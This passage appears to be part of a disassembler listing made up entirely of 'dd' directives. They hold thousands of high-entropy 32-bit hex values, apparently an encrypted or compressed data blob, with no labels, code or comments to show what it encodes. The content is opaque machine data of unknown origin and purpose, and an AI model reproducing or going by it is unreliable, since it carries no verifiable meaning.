		dd 1F594F9Dh, 2FC36A61h, 5F64AC8Ch, 40FCF57Dh, 0DC4692CBh
		dd 14CC494Ch, 841623CEh, 280B7CA2h, 0D1308502h,	88D2E7DFh
		dd 0C5936537h, 19781BFh, 2D5CF5CDh, 5EE327A4h, 0F2E9EF04h
		dd 40BFECE0h, 714C2216h, 8CFE330Ah, 6804CD24h, 31EA1006h
		dd 43D1BAEh, 64678001h,	0D8F93028h, 0C91A7D32h,	0C9A73EECh
		dd 0EA99BC21h, 24374F48h, 0C1723177h, 0A66F5AA0h, 994F24C2h
		dd 0FB12D0B9h, 0D8D8B095h, 58082833h, 84924EBEh, 669A8154h
		dd 636800D7h, 22E72772h, 0C376AFFAh, 7847AF09h,	0C4EFA89h
		dd 1E0912BDh, 2602F10Ch, 2DE96032h, 0EE92C403h,	418BB785h
		dd 2AFAEDFDh, 6E7CBD75h, 55CE68E2h, 5017C7F1h, 7445A0h
		dd 0BF25D72Fh, 0DF051214h, 5D2C9890h, 9500024Fh, 89EA9BEEh
		dd 0FBE916F8h, 3724BE12h, 0B08836C4h, 21CD40E3h, 0D1902098h
		dd 1711EA4Dh, 87FE03E1h, 423A67CCh, 0B3E13BEEh,	50882EB0h
		dd 0BD1D50DDh, 88B0BCFBh, 4E325B04h, 0D0B56893h, 5A71FAE7h
		dd 1051F322h, 257D3E6Ch, 0B03BDE9Ah, 5DC3EBB0h,	0F43BE425h
		dd 0D68B0C2Bh, 8509C627h, 0DF6B7E6Ch, 70F489A9h, 0C62CE87h
		dd 0D70024F4h, 315EC56Ch, 4F10FA97h, 68B29CACh,	1B717325h
		dd 800C282Ah, 1011C4C9h, 0AED8AE57h, 0E5C0624Ch, 21E8F129h
		dd 20E37466h, 2E765FCh,	0C4D1405Ch, 318E2D07h, 0C4063FCh
		dd 0B5C6381Fh, 3055FFC2h, 88175FDAh, 691E09C5h,	0A9C91A07h
		dd 0B1FBF9E2h, 69367A66h, 538F4006h, 0D4C679E9h, 31300180h
		dd 0D4E97B6Fh, 15A4D39h, 5F5E5080h, 92903F56h, 763F6D08h
		dd 9FE30C73h, 68EC926Eh, 33B20B4Eh, 33F7D016h, 0DDF8518Bh
		dd 1B505B0Ah, 386132F8h, 4350C685h, 2A6840F8h, 5BF43437h
		dd 0ADDE17A1h, 0DF56CF2Eh, 0D7E9426Dh, 1087165h, 114826BAh
		dd 165C3E02h, 0D1604BD7h, 7D847867h, 0F51F303Dh, 0D1C0351Ah
		dd 29459109h, 28E4F4C7h, 2539EE5Ch, 0F6947E3Ah,	7D5209BDh
		dd 9818B796h, 0EF2EFD11h, 1B521CD0h, 44E94557h,	85E4B9D9h
		dd 67FB736Dh, 0BF4EA44Eh, 9CEEE613h, 7B0BBAC5h,	7C663C6Ah
		dd 0A58739B8h, 61B9E996h, 0D84FD30Fh, 0F6AB6062h, 82FCC64Bh
		dd 870098E6h, 15BE447h,	979168F7h, 0BB546F46h, 2AE7DF0Fh
		dd 0E92D38FFh, 946BC825h, 9844ECEh, 0BB99BF13h,	7CFD2AFAh
		dd 5D3FE909h, 2248ED7Fh, 2A5848D4h, 8B11EC5Bh, 5296B487h
		dd 1012A954h, 0FDC16462h, 0A2B48BBCh, 0C5595E75h, 0AB5C966Fh
		dd 282A934h, 7D68013Dh,	0EA9A7E3Ah, 9766E440h, 0B800C166h
		dd 7F5D6056h, 249FAEBEh, 8C8B80A2h, 0B62A05FAh,	0B551B902h
		dd 0C1EE3095h, 0B006A1E9h, 5C9C7EB5h, 549DEBF4h, 76775222h
		dd 851FEA9Ch, 9986413h,	3282DAF9h, 0FC404208h, 4C5E2307h
		dd 280240A0h, 168CD7CEh, 401EE9DAh, 32B6BE47h, 0C2BD2E6Fh
		dd 5FAFC27Ch, 0F9CAB24Bh, 754B9FF1h, 6968F65h, 0A73B75F1h
		dd 2CC1CDB1h, 0CE5F316Eh, 0CD81007Dh, 2D361DBDh, 0D5E5811Bh
		dd 0F0346F5Dh, 5513D1EDh, 40C306Dh, 13EA2FE6h, 0AB52798Bh
		dd 0A2C22DA0h, 0A259DF08h, 7700582Ch, 0E9359374h, 0A4625ADEh
		dd 105DED6Dh, 12EF5FF5h, 6D5010Bh, 6001616Ah, 2880B95Ch
		dd 68660EE8h, 0F4927D4Fh, 7A9FA6C8h, 0BACF4FCCh, 0F5466109h
		dd 68E55CD0h, 17E8D7A0h, 47A482E4h, 0B8AF5904h,	0CBE4C2C3h
		dd 41A50FEh, 14A586F6h,	0EBEE840Ah, 18EC1BD5h, 6850D82Dh
		dd 62ADD39Fh, 41707FE9h, 3D025FB1h, 4232AF23h, 87CA753Ch
		dd 6CE90740h, 9BE27FF9h, 0F0F97196h, 64F27F5Eh,	2289E9CBh
		dd 322F335Ah, 88FDD1CFh, 4A283F19h, 461D020Ch, 0F3915Eh
		dd 0A372CC91h, 0FEFABEE9h, 42522291h, 5421688Bh, 9652C159h
		dd 31F7205h, 0B568E4Bh,	0E08DFA63h, 0C1798174h,	0ED949888h
		dd 0B7455D25h, 5D3EFB0Bh, 0F0DD7339h, 7882349Fh, 0FCDB95F3h
		dd 68C3D4EAh, 6ECDA4C2h, 0A088B87Ah, 0B663A268h, 0D3296ED9h
		dd 1C9D69E0h, 3DC6E6BDh, 0D484525Eh, 0E862C85Bh, 209D2ECh
		dd 20730407h, 0C5CB40EFh, 0A1CFE07Ch, 0C2560165h, 0AD5752AEh
		dd 0F0FA7182h, 56C96596h, 59E98B95h, 0BDA24FF8h, 4BDE5BFFh
		dd 25B7E5F5h, 605B0ECCh, 0C6304C03h, 0F2BB8558h, 59A5C711h
		dd 0F44808h, 2BB242BEh,	0BD187ABAh, 0B98CD44Dh,	22540D3Ah
		dd 668DA01h, 0FA25CE08h, 48BF4451h, 0EE3FF159h,	961C497h
		dd 5910DAD2h, 719DBB46h, 92C9CFB2h, 2F5D76E1h, 51365CCBh
		dd 5AB57C47h, 59A49515h, 0B45BEAA0h, 0B538D1E3h, 94F36980h
		dd 210FA43Ch, 0F1EC02BDh, 89BAC577h, 0E4F74BFDh, 515D2098h
		dd 13E6BA00h, 0E2813519h, 8E6D1878h, 3D89866Bh,	1198DA79h
		dd 0F825314Bh, 85A89883h, 99E1478Dh, 0B5686B84h, 382F9D69h
		dd 0CFE9A1EEh, 4F31DE51h, 68097032h, 0E6795114h, 0A17DF683h
		dd 0F5F7DB57h, 309CEBBh, 2A2777C1h, 0F0C9E007h,	0A522C4Ch
		dd 25AE06Ch, 212427F2h,	0E90297D1h, 8E2C7F2Dh, 2818DEE5h
		dd 98E0D38Ch, 1D8B0053h, 0BD553B43h, 7C4A1851h,	9B046CFCh
		dd 0F82AAA74h, 71E5031Dh, 28BF1Ch, 0D817701Ch, 5DEE0953h
		dd 0F84565Ah, 0F5B799BBh, 41C8E8ADh, 879E9CB0h,	98FE3316h
		dd 723BBE9Fh, 0E97C0225h, 56FF5026h, 0F98741B9h, 4EEC7FFEh
		dd 8F3BEBF4h, 0DBFEE90Dh, 0AF3B4Eh, 55EC2D41h, 0E8EB1BD7h
		dd 445E7B2Eh, 74169BCh,	7C118CD6h, 65491358h, 8004FE24h
		dd 4783DBF7h, 7894B18Fh, 2C31770h, 0EC390B89h, 0E9EA7BE9h
		dd 84D44775h, 0B99F4EE9h, 624A27E8h, 0DFBC8B36h, 2959A2C0h
		dd 9DB27697h, 0EF10A704h, 7B9F90D3h, 0BF0F8401h, 0CC6EC2C8h
		dd 69265E77h, 0F4E99E68h, 571DEE9Eh, 0AFE46E8Ah, 715BF82h
		dd 0EFD540C8h, 8EBB137Bh, 0E3878014h, 242544EEh, 4A9CC021h
		dd 0B62583D2h, 7DB98FA1h, 4FE4C6D6h, 4641744h, 12BCE4DEh
		dd 51CC960h, 75A030B5h,	619B3B6Ah, 262D0301h, 7E6D0914h
		dd 7C07A210h, 1B0511AAh, 42D8BB5Bh, 0F511B561h,	6A802E9Ch
		dd 89B652h, 0F680C6FEh,	71EAE9F0h, 9D0BC4A4h, 800DC022h
		dd 57AD8E8Eh, 4A429D19h, 70DDD8CAh, 91B949E1h, 0FBB86812h
		dd 0DB800E37h, 0BE219F07h, 20FCA1Bh, 1FE8E982h,	0FF6CD582h
		dd 0C68540Ch, 7E2C026Bh, 0AD4BE965h, 0CE300703h, 78BE2059h
		dd 0D3E5077Eh, 0C564A9F4h, 87E6A05Fh, 29E08613h, 1145ECBCh
		dd 49F117C1h, 0F7C8F464h, 0D36818D9h, 3B122565h, 2E470980h
		dd 0B275581Ch, 78FFBB74h, 5D89FCFh, 70EB0500h, 0D02945ABh
		dd 6507A22Dh, 560BAF3Bh, 58C3295Eh, 355603EDh, 10626C5Ah
		dd 22A0BEA5h, 0FE73D246h, 0B664E1E4h, 0C17627E5h, 5A524A30h
		dd 510A4C9Ch, 0CB456105h, 0CAB9E103h, 0D5EDBBE3h, 39DAEF8Eh
		dd 3F0AA14Eh, 0E9C26FF8h, 0DCD9E0B0h, 929F7127h, 7602AC7Fh
		dd 86AFEB4Bh, 2F090CB9h, 553AD41Fh, 2083EA8h, 0FEDC2EE9h
		dd 80899055h, 0FB0A73C9h, 0E4D1F6E8h, 1FE1F4D9h, 49B05014h
		dd 167DC130h, 7514C28h,	873BD120h, 2233A5CBh, 615EC9EFh
		dd 0EB407CD0h, 0C4EB274Ah, 0FC1F5F30h, 7E72A220h, 0BC5C122Bh
		dd 0D3B84AA0h, 6568E4D8h, 7AFF2E7Eh, 2608AE10h,	6644975Dh
		dd 0AF2A1AC9h, 95BA3627h, 4BDDD0AFh, 5CC8B02Bh,	60AE2EFFh
		dd 28E8B999h, 495B8D2Fh, 25ECF11Ah, 0B04E5E7Bh,	493EBDD5h
		dd 770D7F74h, 2429E037h, 9C107FDh, 60B6A17Ah, 25F8B05h
		dd 0B3C707ADh, 0CCD70B11h
		dd 5DBE2428h, 872C0134h, 84D2F7D6h, 2BE0E908h, 0B28165E8h
		dd 0F0D3288Bh, 18C2B7C8h, 5F01EB83h, 0DBC3A7A0h, 7B088A14h
		dd 3DA224E9h, 9A42F683h, 9ED88567h, 739FFEF2h, 31E941C5h
		dd 0B52280FCh, 80DDF6D8h, 2D337CEDh, 7BE89FF2h,	73014E4Bh
		dd 0B818BE63h, 0A12FBFFBh, 506F53CDh, 295B2404h, 1FF10BCh
		dd 37EF356Bh, 0D22DD060h, 1FBE6401h, 5828AF25h,	5009807Eh
		dd 0EA9D88E9h, 3A7177CFh, 5AB5852h, 2B1F5468h, 3B0BAC27h
		dd 615103C6h, 4EFC1h, 783B5312h, 0E9FD89F7h, 1F242126h
		dd 200E78A5h, 60F9388Bh, 78736802h, 0C2BD30A8h,	0FB7FD87Eh
		dd 0D333952Eh, 0C52ECC59h, 0CB4BF97Bh, 259D5CB5h, 8BBFC777h
		dd 6144359Ah, 0D4BFB47Eh, 2858407Ch, 0D467E9C8h, 323764B1h
		dd 8BC30982h, 0C5ECF9D0h, 5C6392F2h, 2295D344h,	11AD3C3h
		dd 70C090B3h, 0F32F8000h, 18115DC2h, 2BB7E9E9h,	62C7D64Eh
		dd 0A20DFA22h, 60CB2AACh, 379FE72Eh, 6119F94Dh,	2F13A9D6h
		dd 73FDFA10h, 227E4C00h, 301A0C05h, 96E91569h, 0F20E9E2Eh
		dd 6FCFA9E0h, 0E8D0DC65h, 10CC94C5h, 0BA02BE6Eh, 54EC3D32h
		dd 7CE0F8E1h, 0B8B1400Ch, 27CD3513h, 619CB100h,	9D093FBEh
		dd 8231B1E0h, 2B67AD81h, 3D411E3Bh, 231C9F9Fh, 4B96DA2Fh
		dd 302ECD99h, 481A7A1h,	0D118A06Ah, 6961A850h, 1F171C1Dh
		dd 0F59FEA81h, 3AAC01h,	685653BDh, 41715812h, 0F671CB98h
		dd 0F827192Fh, 0D5820490h, 168916D1h, 0D604C40Ch, 87721D0Ch
		dd 0D70CBE2Bh, 0EDF8B4CCh, 4AA98C4Dh, 417755F9h, 65938CDh
		dd 4A369747h, 19850988h, 75740D17h, 5E62F309h, 3FED515Ah
		dd 645C7F62h, 0D8B2828Fh, 0D3292DEDh, 240BA7Dh,	0DB5B06AFh
		dd 6E880876h, 5BF10B5h,	9415709Dh, 3094FB84h, 0A89025F2h
		dd 81807510h, 0F3EBDEF8h, 0EC7EF728h, 0D844BD6Eh, 0DDBF5350h
		dd 13CAB980h, 182C4E5h,	9F596AC5h, 0F80C8165h, 176C902h
		dd 8DC1F2F3h, 14070C08h, 21A4BD3h, 0EE13EB77h, 0F87DDEF2h
		dd 66892EF8h, 52DA8B9Ah, 373E9E66h, 0F904DBF6h,	0A8F970BEh
		dd 8AB0ECD7h, 94E2918Dh, 0D3EE750Ch, 0DB939380h, 28D15E80h
		dd 81CDC1E5h, 0D121A4D6h, 0E1C1EF44h, 466B27C0h, 9480646h
		dd 2BBC0095h, 1518F028h, 8E34DAE9h, 5AADF95Ah, 6CF9FDB5h
		dd 6429E970h, 0A08F114Ch, 0C83D01C2h, 0F1188905h, 0EEBC081Ah
		dd 7CF85E96h, 0AD79FAB4h, 4CA6034h, 0E919FE2Ch,	6B12EB20h
		dd 0DBA528AFh, 587E3FB2h, 585BFC95h, 68015152h,	1767419Dh
		dd 0C605359h, 4904003h,	0EE788BA1h, 0D8E68103h,	90476616h
		dd 2F3570AEh, 705832F8h, 1A9749Fh, 0F27C33EAh, 7D942F18h
		dd 0D41C0818h, 79F82816h, 0E3524EDEh, 5F089273h, 0B8291666h
		dd 2FED00A9h, 171BE21h,	0DDCA2D5h, 0D260D508h, 75848267h
		dd 773E804h, 73488FBBh,	0AB5A7DA9h, 72F41F2h, 171C6076h
		dd 80D495EAh, 9C3AC740h, 98C1A022h, 43C80067h, 8705E6C1h
		dd 6D641CEh, 10769000h,	29E96433h, 6B63A184h, 0B257B055h
		dd 81885966h, 0B18B092Fh, 12C2ACEh, 22101CF7h, 7C129248h
		dd 0FD4D8D67h, 3B012E57h, 0B632C80Dh, 4DF46371h, 0FEA04E41h
		dd 926C088Dh, 0BCE28101h, 2A19C825h, 0A3F28A4Eh, 1351FC7h
		dd 30B69E8h, 29F5016Fh,	8FC5878Dh, 0A52D5572h, 81AEDBBh
		dd 0B1C090Ch, 803D507Eh, 0B4EEFD5h, 143621Ch, 804FFE2h
		dd 91AF5Dh, 0BE040390h,	4D218B8h, 0EE1966E4h, 64A85D8h
		dd 0BD0CF86Bh, 0E91A0B4Eh, 8240C6E7h, 0E4752CC8h, 1B65A1F6h
		dd 0AC72136Fh, 0F22FADB4h, 0BE9133Bh, 0EF6A12AEh, 0EFEA3ADCh
		dd 60DFF701h, 5B2C4EB7h, 0C102C628h, 0C1A854C9h, 46AB8F7h
		dd 0BA8D6896h, 0BD27C6F9h, 0E320B55Ah, 0BA36D270h, 3CEC2C85h
		dd 0AE732D2Fh, 0E12F9CACh, 8207EF93h, 0D45552E6h, 0CA8BF9F2h
		dd 76615655h, 74A1D65Ah, 0A54DA93Fh, 0BCAFCB94h, 2DBB5F25h
		dd 17BA3D02h, 31BEA57Fh, 48C3D8FCh, 83B6F381h, 8833B704h
		dd 0BA4C66A9h, 38B4CC5Fh, 0A79CC13Dh, 9018918h,	0CDE580D5h
		dd 48B22878h, 0AF020B37h, 92F657Fh, 3309355Ch, 0B37B5742h
		dd 94E43D2Ch, 805985D0h, 285209EAh, 60825AD0h, 0C861AE04h
		dd 0A805003Eh, 10E20520h, 12DE801h, 6BE95D07h, 745DC20Dh
		dd 0B95C5AB7h, 68BDF28Ch, 992905Ch, 64E3B6D4h, 7AF04401h
		dd 0AE7CDABAh, 2B400C12h, 0E5539FBEh, 97F59AAFh, 5694FEFEh
		dd 26B432D0h, 6877E85Bh, 0DE6C544Fh, 0E3CB4A22h, 5C5F72DAh
		dd 920727EFh, 495AC21Bh, 0EFB0AA09h, 6C98D7DBh,	58825627h
		dd 9A5EBDD6h, 0F63BE621h, 37D82880h, 5B6B151h, 7B35EA04h
		dd 64D00984h, 1E8F480h,	8658E508h, 42DAF6D5h, 66F52BE3h
		dd 1B8F09D2h, 92D5FA1Eh, 2CC4021Dh, 0B0A06515h,	0BFB25278h
		dd 8EAC014h, 0D941DCh, 516A2CDCh, 0C8C23A94h, 231056Ch
		dd 550B68A1h, 0C68D99DFh, 616FC9E9h, 7F7014h, 2C60055Fh
		dd 1CCECD26h, 833F204Bh, 0EF56B2EEh, 1AFD605Eh,	3E0B2D51h
		dd 0B307AA44h, 59EB3087h, 239562A4h, 0BCEA0831h, 0D4F7376Ah
		dd 0D7F707B9h, 75EF11F2h, 0EEDEAC3Ah, 31C85B88h, 2B63BBCCh
		dd 50C069F8h, 0B3430BB8h, 0E9407D06h, 0FB7B9E6Dh, 126A93DDh
		dd 9FAD303Eh, 0D9A01177h, 0C6BD5146h, 35B2517h,	6F5696B9h
		dd 0BAA80EBCh, 1195D34Eh, 8144D4AAh, 9DBBAF6Ah,	5ACBE87Fh
		dd 72F0DC82h, 0F9D79784h, 0A2AEA4E1h, 1D8CD3A5h, 850EA268h
		dd 75A04C9Ah, 1503B595h, 8B97DD89h, 0BD40C1C8h,	0F003C299h
		dd 6494C22h, 1C66450Ch,	0D876DE58h, 0EA0C1F2Dh,	59080592h
		dd 0FFC55780h, 16F5F84Dh, 0B5121F1h, 0DF5CDB7Fh, 762FF426h
		dd 705EDA7Dh, 0F6267689h, 2E6C86Dh, 3BB31AD0h, 3E62241h
		dd 3882D5F7h, 8D845745h, 0C60DD129h, 8E176058h,	58E56D3Fh
		dd 0BB44C4Ch, 60610C44h, 749EB2C1h, 3901417Bh, 845526D4h
		dd 0D75F2219h, 9056FDF0h, 577B096Bh, 1E027FA6h,	0E7FF1C32h
		dd 5CABA609h, 50A21A9Fh, 17075E51h, 2CA4C455h, 7B4DE9F2h
		dd 5E225CE0h, 0E9E370AFh, 0DEA821C4h, 1804D8F7h, 0F82950CBh
		dd 0C282B8BEh, 0E430428Fh, 0C3F52782h, 682D746Eh, 0E9080138h
		dd 21A8BDADh, 73783810h, 40596F90h, 89395707h, 0F6A451CFh
		dd 0CE2D9A44h, 821A75B5h, 0BEC4C184h, 0E20684DDh, 75A9804h
		dd 7F2B32E6h, 0BDB1FAE9h, 885FE104h, 23A1804Ch,	0B34A77A0h
		dd 0E957FDC0h, 901E9ABCh, 0C28012A6h, 0F521915Ah, 0C8BB03A8h
		dd 62EA064h, 0D28C5DBEh, 1A5C4C4Eh, 522C2752h, 0D8088379h
		dd 95195268h, 0ACFD211Ah, 6A02822h, 29406515h, 88248CEh
		dd 0E1C38D57h, 0D3BA80D4h, 0D19DB998h, 0F7682ABBh, 9B0F23B9h
		dd 77EB0B73h, 715F7F89h, 0E931CCF0h, 5C53A5Ah, 0C956CAAFh
		dd 0F4BEF75Ch, 0BB90208Eh, 4A538840h, 5481EABBh, 0AA60DF29h
		dd 6801817Ch, 147B124Eh, 2372DEEh, 29709DCFh, 8F1C7595h
		dd 2AAA6813h, 0E90D43B7h, 3A382C01h, 424200BFh,	3A97F281h
		dd 36CA13Bh, 779FCCAh, 0FA180C1Eh, 0D12C3F7Bh, 2D9CD797h
		dd 501EDC9Dh, 0AD9B20AEh, 0F091983Ch, 0F1CD6812h, 0F4DA8552h
		dd 4C7F2789h, 17EDFB53h, 163A206Bh, 2259BA5Eh, 4BCE03E4h
		dd 0C42E9769h, 2B153090h, 35325C1Dh, 0AEB0200h,	9DE4E9CEh
		dd 54B19AB6h, 8C3F7F6Bh, 0F1413DE2h, 13D4C321h,	4C4E3E72h
		dd 0CE773712h, 44FA4B90h, 81B93EE8h, 2F545333h,	6C81BD21h
		dd 3F8CF37Ah, 0B2772C52h
		dd 811A77A4h, 0F508200Dh, 5A8F4BE3h, 0E980C81Ch, 9F07AB4Bh
		dd 9AD9BC68h, 0CE964055h, 1358E621h, 0F46A3CE9h, 2EB138BEh
		dd 43FAEB12h, 0C2315F2Ch, 0F90B88F3h, 0D5E36855h, 0B80720C4h
		dd 6DC44FDAh, 5FDE6489h, 979C14Ch, 6B92DDCBh, 0C0BD9401h
		dd 0A541676Ah, 317BD450h, 7B51351Ah, 0B0FC4075h, 25E26809h
		dd 0C408F831h, 83484E59h, 0B6337246h, 807A615Bh, 0B10937C0h
		dd 0DE038B9Ah, 395743ABh, 2DB30CEh, 7D70EDF3h, 0C1436307h
		dd 524BCDD0h, 0B50558B7h, 0B3609AEAh, 3A5B285Fh, 841EBE9h
		dd 0FEB44B38h, 0AFD11061h, 4A786773h, 3F21B1ACh, 0C4104FCBh
		dd 5BC44E81h, 24ABDEEBh, 46026E5Ch, 417E4A41h, 0B800027Ah
		dd 59001A19h, 0B72D4857h, 0B866C931h, 0DD07E5F9h, 790241B5h
		dd 0A5D03D2h, 9B1E054Ch, 88F60084h, 0C1012645h,	1208E630h
		dd 48077F48h, 0A42EA131h, 517D0028h, 0DFFEE868h, 5A59FD3Fh
		dd 0D84E0CC1h, 0B7CA5307h, 0A9E2FEFCh, 8969039h, 0F682FB6Fh
		dd 2F15DEA0h, 9EFCF8CCh, 41EE4E49h, 238B60C4h, 1ED36497h
		dd 0C8E23007h, 5A1C462Fh, 5C58E70Bh, 29A508AAh,	0BAC15F1Dh
		dd 62B572FDh, 0A9CB58F0h, 21E8BFBDh, 1274C17Ah,	60735A18h
		dd 4A27E91Bh, 0B6C5A6EDh, 22549F75h, 525AD60Dh,	5882AC3Fh
		dd 12482077h, 0AC22E168h, 2F25C036h, 24E96029h,	6477D616h
		dd 0A0B1EF68h, 136BC5F5h, 0B110A2A8h, 13FC0E9h,	0C56858B5h
		dd 0C6CF6A1Eh, 5AA28A4Bh, 9CFF3CBFh, 4F44C44Dh,	51652CBBh
		dd 5AFC569Fh, 0E1392002h, 0CB23F955h, 9252C5DDh, 40CCFB9Dh
		dd 0BC6A4A11h, 0A69C4FEh, 7FF329AFh, 9B80FBB9h,	4E3A5E14h
		dd 0CE00E29Ah, 4031011Bh, 0D0C1C6E9h, 666756D4h, 3456FDEBh
		dd 0DC69C594h, 0BB0FC822h, 0AA635D26h, 8559FC5Bh, 32BFFEB3h
		dd 0B8EA7365h, 6B26F3FFh, 0D2F41C55h, 0F8B3FB0Dh, 52D0E983h
		dd 0F9316C13h, 0F4A05F17h, 0E6D1274Eh, 4202157Ch, 4012F44Bh
		dd 5CBD6C5h, 98E9A66Fh,	0B2B2AAC3h, 0C8BE0F0Fh,	16CFBA84h
		dd 60A3CCE0h, 32E1BBFEh, 94E8877h, 186AC4E4h, 1163730Dh
		dd 68A4CC1h, 0BD453A86h, 0DF0AAF41h, 35FBA539h,	0C4C708DFh
		dd 5EBC181h, 9576FA38h,	0A530A6C6h, 61687CB8h, 0D49A9D0Eh
		dd 0D45F11D7h, 13C6167Eh, 749F965h, 0F468E829h,	20B54679h
		dd 0D497D3A3h, 0EB8B3931h, 60D5AA90h, 9D088B31h, 0C363D95Ch
		dd 2D5C27D9h, 0CF209CE4h, 8F2C50F3h, 18EB6120h,	0CFA5E380h
		dd 0DA086FF0h, 3941AFA1h, 2E0C2088h, 529BB2C4h,	98EC46DFh
		dd 66DF03B1h, 0EDC1592Bh, 0C78652EAh, 26FC70BEh, 742581B0h
		dd 496E5E21h, 0E971F23Ch, 2499B49h, 315EF729h, 0F0CDC1FEh
		dd 0DCF4FBDBh, 2160B7AAh, 0B50A0B19h, 5D12E371h, 9FFD27AAh
		dd 241024FEh, 791209D9h, 308202DEh, 0DCA670ECh,	0F4F02D20h
		dd 0F9106A30h, 5A50A2C9h, 0C68F8C5h, 0CE02689h,	1B823EC1h
		dd 22B71A4h, 2925247Fh,	456795C0h, 68663A04h, 9AA84D27h
		dd 0FFB8B1C4h, 0E3AC039h, 820222Eh, 0CE27E920h,	0CACCD782h
		dd 75B77A6Bh, 0A89376E5h, 5A5856C0h, 0C5C07368h, 0EC0C9737h
		dd 0FEFC9353h, 99F0812Dh, 3DB3050Ch, 40A74029h,	0F59D5B68h
		dd 6CBD4D9Ch, 46012084h, 0B33BF4C1h, 0AC2A29E0h, 0C8F20255h
		dd 0D7793E4Ah, 0B403D362h, 419211B6h, 72974D46h, 0DD87A78h
		dd 63FE3251h, 0DE78E015h, 0FC696D27h, 89C624AAh, 0DC513DE9h
		dd 52A07E49h, 0E9855045h, 8F5D76FBh, 0B15FE689h, 5965F775h
		dd 0A7D286EEh, 0A9F50663h, 0C6BFD68h, 50BD23F6h, 0CEED04B4h
		dd 0FBE6E54Eh, 14CC49B1h, 0A5A302B5h, 68E9DE89h, 6A2D8049h
		dd 0DC13FFB2h, 0F632FB4Ah, 2D5BD0FEh, 1719D968h, 0A2327057h
		dd 1EC46601h, 9AE95359h, 0BBA70D7Eh, 0CE80C2E7h, 4E5E6B88h
		dd 84D30134h, 0FB680802h, 8FEAF46h, 0CB290E32h,	9FABFCE9h
		dd 0D8F25B74h, 3AE913E6h, 78CEE2B4h, 2BDBE32Dh,	276BF5D9h
		dd 5A1E0E50h, 3CD0F680h, 729AAC0Ch, 2B773ECFh, 6DE45F87h
		dd 0E9748F67h, 0DC3A29EBh, 5E9D00F8h, 99B934BFh, 6310BC9h
		dd 206229DAh, 6819B4D4h, 8EDF78AAh, 645ABE3Ch, 0AB2BBEEh
		dd 4E1DA810h, 50241AE8h, 4FA207A8h, 48B82080h, 3298601Fh
		dd 504A690h, 114260Dh, 3B394990h, 4EE9E237h, 0FE45C1E4h
		dd 0F5AA42C4h, 0AF2D6600h, 5A42F233h, 85FFA9CCh, 0B54503B5h
		dd 90848754h, 470812ABh, 0CC1B3C38h, 744AE966h,	74011E13h
		dd 0ADFC164h, 90D4823Bh, 0CF05BE64h, 6775ADEh, 0B7EAE80h
		dd 70C5A15h, 0CA3FEE87h, 70B526C4h, 8A2BE94Fh, 0F5ACFBFDh
		dd 68097610h, 52B01C1Fh, 77C97902h, 69D857C2h, 97EFCDF6h
		dd 13AA5BA6h, 0D623AAA6h, 3EA28D5Eh, 0AF65C4D2h, 0BCE59EE8h
		dd 0BB53C752h, 20DE7F71h, 112E2C7Bh, 30520B0Bh,	59E5DF31h
		dd 0E6E45C93h, 0E5E68C31h, 10505326h, 406F7A0Eh, 0C56CE935h
		dd 0D06C95FEh, 2B556876h, 1650601Dh, 574C8982h,	0A4B0B758h
		dd 0B8E5EFE9h, 0CC459EF4h, 0DA16DD39h, 8144184h, 56042E98h
		dd 4A880864h, 83E160DBh, 5F194DF7h, 8CC13D5Ah, 530326F2h
		dd 5B6F2EFEh, 5C4360BCh, 7F8DE90Eh, 8CEB8050h, 643D3C12h
		dd 77F392F4h, 0ECB35FF7h, 79A900C8h, 0E9556F3Ch, 90F854E7h
		dd 314A4ADBh, 47F3B4Fh,	9845E0BEh, 0D282B195h, 51B0E02Eh
		dd 0E92BB506h, 681A97Ch, 453657F7h, 80790C74h, 0F2F0BB25h
		dd 0FFC15F00h, 0F98F142Ch, 0CDBAB23Ah, 3A207366h, 12A5929Fh
		dd 2DE8285Ah, 53F0C069h, 0FE82B30Eh, 80C347CBh,	0C06EB26h
		dd 0A19CE943h, 1609C2A5h, 0D0638D32h, 0B3BC124Ah, 201F9B9h
		dd 4E4CFDC3h, 5F4AD53Ah, 0EF5F0804h, 0FA665C61h, 1FBB412Ah
		dd 8322636Fh, 4F586522h, 14F7B112h, 3A14D97Eh, 0A01F8F87h
		dd 0E999C372h, 0EAD05A61h, 4C82F22Dh, 65C936B5h, 2F027FC1h
		dd 4DB2C4C0h, 82196972h, 835C58A4h, 8E78B0BCh, 5FAA305Ah
		dd 830F17CDh, 48D58DCh,	53087FBh, 344002BAh, 6A124184h
		dd 0BF570040h, 1CBA77B9h, 76C9E7C1h, 340084DFh,	82CB601h
		dd 2AC547F1h, 801003B9h, 0D98006C1h, 289EF8E9h,	6141B03Ah
		dd 0F6F379A6h, 45530055h, 2E323352h, 0C0E36C64h, 56734441h
		dd 0D495029h, 0CE544E8Fh, 460A354Ch, 0DFE9B201h, 2368FEE8h
		dd 6179A1Eh, 8FE52F89h,	0AB94A81h, 0F2842510h, 421B489Bh
		dd 11249D6Bh, 711CF22h,	9E45BF08h, 3211E4E1h, 20F3129Fh
		dd 0DBBA2A84h, 75E54400h, 0C23293A0h, 7CFC0F33h, 38C0690Ch
		dd 3D6E2DC8h, 90018270h, 59C92E05h, 95D967BCh, 75D033C0h
		dd 1C421D60h, 916B40A9h, 0B28A0B16h, 980059E2h,	1FA6B8E8h
		dd 0FC9BFB3Bh, 0C5800742h, 7093F89Ch, 9D614E5Fh, 1072BF00h
		dd 0F19976A0h, 5A204D2h, 0C04DEC74h, 0BF706519h, 291ED300h
		dd 84DAB007h, 0CC1900C1h, 0E2E4C973h, 82FC3E63h, 0ECBDF600h
		dd 62E1FBC3h, 3115C03Fh, 5D3264D4h, 38D2E300h, 0A4CC6CFEh
		dd 90093DEDh, 0AD82D800h, 0C8B33291h, 0C2F09800h, 0B1E555D5h
		dd 0EBF300DCh, 0D30F52F1h, 0EE00FC9Ch, 0A272DDDh, 617D48A9h
		dd 0EB51954h, 0B20D80CBh, 416E3FE1h, 7F7EB4h, 9D78F18Ch
		dd 4D67D1DDh, 50BCE527h, 0E747003Fh, 30919E77h,	0FE0035C0h
		dd 0B9660F7Fh, 12EC737h, 84118101h, 49296427h, 0CEC708BFh
		dd 68B75E03h, 0FFFA9B0Bh, 0C51B3EA3h, 21E2C307h, 57C72460h
		dd 347D005Fh, 0A8F154B5h, 100F86F2h, 806D4253h,	2B336313h
		dd 8B4D0098h, 456E169Eh
		dd 427974E4h, 28F99D1Eh, 3E9F1D83h, 0F240D587h,	5E371829h
		dd 0CCDB1CFCh, 10E3C0B1h, 7998E80Ah, 200B5F8h, 1282E72Ch
		dd 3D3F2B24h, 140572D2h, 0D109C1Fh, 804EFC46h, 56C6268Dh
